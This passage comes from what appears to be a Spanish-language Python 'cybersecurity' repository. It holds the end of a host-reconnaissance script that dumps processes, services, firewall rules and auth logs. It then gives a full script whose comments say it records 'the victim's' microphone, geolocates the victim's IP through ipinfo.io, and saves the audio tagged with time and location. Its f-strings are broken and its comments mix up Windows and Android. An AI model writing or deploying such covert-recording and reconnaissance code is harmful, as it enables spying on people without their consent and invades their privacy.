save_output("procesos", "ps aux --sort=-%mem | head -n 20") 99 | save_output("servicios_activos", "systemctl list-units --type=service --state=running") 100 | save_output("todos_servicios", "systemctl list-unit-files --type=service") 101 | 102 | # Paquetes instalados 103 | if os.path.exists("/usr/bin/dpkg"): 104 | save_output("paquetes", "dpkg -l") 105 | elif os.path.exists("/usr/bin/rpm"): 106 | save_output("paquetes", "rpm -qa") 107 | elif os.path.exists("/usr/bin/pacman"): 108 | save_output("paquetes", "pacman -Q") 109 | 110 | # Dispositivos conectados 111 | save_output("lspci", "lspci") 112 | save_output("lsusb", "lsusb") 113 | 114 | # Firewall 115 | save_output("iptables", "sudo iptables -L -v -n") 116 | save_output("nftables", "sudo nft list ruleset") 117 | 118 | # Logs del sistema 119 | save_output("syslog", "tail -n 100 /var/log/syslog") 120 | save_output("auth_log", "tail -n 100 /var/log/auth.log") 121 | save_output("dmesg", "dmesg | tail -n 100") 122 | 123 | print(f"\n (+) Información recopilada en: {OUTPUT_DIR}/") -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/09_Grabar_Microfono_Windows_Regulable_DB.py: -------------------------------------------------------------------------------- 1 | # Este es un codigo grabar el microfono de la victima regulando los decibeles 2 | # Un sistema operativo Android, como requisito hay que descargar 3 | # El software y luego instalar las librerias de python 4 | # Por ultimo dar los permisos adminin al archivo o terminal 5 | # pip install sounddevice scipy numpy matplotlib requests 6 | 7 | import sounddevice as sd 8 | import numpy as np 9 | import scipy.io.wavfile as wav 10 | import queue 11 | import numpy as np 12 | import matplotlib.pyplot as plt 13 | from scipy.io import wavfile 14 | import time 15 | from datetime import datetime 16 | import requests 17 | 18 | # Configuración 19 | samplerate = 44100 20 | channels = 1 21 | block_duration = 0.1 # segundos por bloque 22 | Tiempo_Inicial = datetime.now().strftime('%Y-%m-%d_%H-%M-%S') 23 | 24 | respuesta = requests.get("https://ipinfo.io/json") 25 | datos = respuesta.json() 26 | 27 | print("(+) Ubicación aproximada:") 28 | print(f"IP: {datos.get('ip')}") 29 | print(f"Ciudad: {datos.get('city')}") 30 | print(f"Región: {datos.get('region')}") 31 | print(f"País: {datos.get('country')}") 32 | print(f"Ubicación (lat,long): {datos.get('loc')}") 33 | print(f"Organización: {datos.get('org')}") 34 | print(f"Zona Horaria: {datos.get('timezone')}") 35 | Ubicacion = datos.get('loc') 36 | 37 | def db_level(audio_block): 38 | """Calcula decibel RMS del bloque""" 39 | rms = np.sqrt(np.mean(np.square(audio_block))) 40 | return 20 * np.log10(rms) if rms > 0 else -np.inf 41 | 42 | def get_user_inputs(): 43 | while True: 44 | try: 45 | min_db = float(input("(+) Ingrese decibel mínimo (1–120): ")) 46 | max_db = float(input("(+) Ingrese decibel máximo (1–120): ")) 47 | duration = float(input("(+) Ingrese duración de grabación (segundos): ")) 48 | if not (1 <= min_db <= max_db <= 120) or duration <= 0: 49 | print("(-) Revisa que los valores estén en el rango válido.") 50 | continue 51 | return min_db, max_db, duration 52 | except ValueError: 53 | print("(-) Entrada inválida. Usa números.") 54 | 55 | def record_audio(min_db, max_db, duration): 56 | print(f"\n (+) Iniciando grabación por {duration} segundos...") 57 | 58 | total_frames = int(duration * samplerate) 59 | recorded_data = [] 60 | 61 | start_time = time.time() 62 | current_second = 0 63 | 64 | def callback(indata, frames, time_info, status): 65 | nonlocal current_second 66 | if status: 67 | print(f"⚠️ {status}") 68 | recorded_data.append(indata.copy()) 69 | elapsed = time.time() - start_time 70 | new_second = int(elapsed) 71 | if new_second > current_second: 72 | current_second = new_second 73 | level = db_level(indata) 74 | print(f"(+) Segundo: {current_second}/{int(duration)} - (+) Nivel: {level:.2f} dB") 75 | 76 | # Grabar audio 77 | with sd.InputStream(samplerate=samplerate, channels=channels, callback=callback): 78 | sd.sleep(int(duration * 1000)) # milisegundos 79 | 80 | # Guardar grabación 81 | audio_np = np.concatenate(recorded_data, axis=0) 82 | wav.write("Grabacion_{Tiempo_Inicial}_{Ubicacion}.wav", samplerate, audio_np) 83 | print("\n(+) Grabación finalizada. Archivo guardado como 'grabacion.wav'.") 84 | 85 | if __name__ == "__main__": 86 | min_db, max_db, duration = get_user_inputs() 87 | record_audio(min_db, max_db, duration) 88 | 89 | # Cargar archivo .wav 90 | nombre_archivo = 'Grabacion_{Tiempo_Inicial}_{Ubicacion}.wav' # Cambia esto por tu archivo 91 | frecuencia_muestreo, datos = wavfile.read(nombre_archivo) 92 | 93 | # Si el archivo es estéreo, convertir a mono 94 | if len(datos.shape) == 2: 95 | datos = datos.mean(axis=1) 96 | 97 | # Normalizar el audio (si está en int16) 98 | datos = datos / np.max(np.abs(datos)) 99 | 100 | # Calcular energía en ventana (RMS) 101 | ventana_tamaño = 1024 # muestras por bloque 102 | rms = np.sqrt(np.convolve(datos**2, np.ones(ventana_tamaño)/ventana_tamaño, mode='valid')) 103 | # Convertir a decibeles (referencia 1.0) 104 | decibeles = 20 * np.log10(rms + 1e-10) # se agrega 1e-10 para evitar log(0) 105 | 106 | # Crear eje de tiempo 107 | tiempo = np.linspace(0, len(decibeles)/frecuencia_muestreo, num=len(decibeles)) 108 | 109 | # Graficar 110 | plt.figure(figsize=(10, 4)) 111 | plt.plot(tiempo, decibeles) 112 | plt.title('Nivel de sonido en dB (estimado)') 113 | plt.xlabel('Tiempo [s]') 114 | plt.ylabel('Nivel [dB]') 115 | plt.grid() 116 | plt.tight_layout() 117 | plt.show() 118 | plt.savefig("Grafica_{Tiempo_Inicial}_{Ubicacion}.png") # Puedes usar .jpg, .svg, .pdf, etc. 119 | plt.close() # Cierra la figura para liberar memoria 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | --------------------------------------------------------------------------------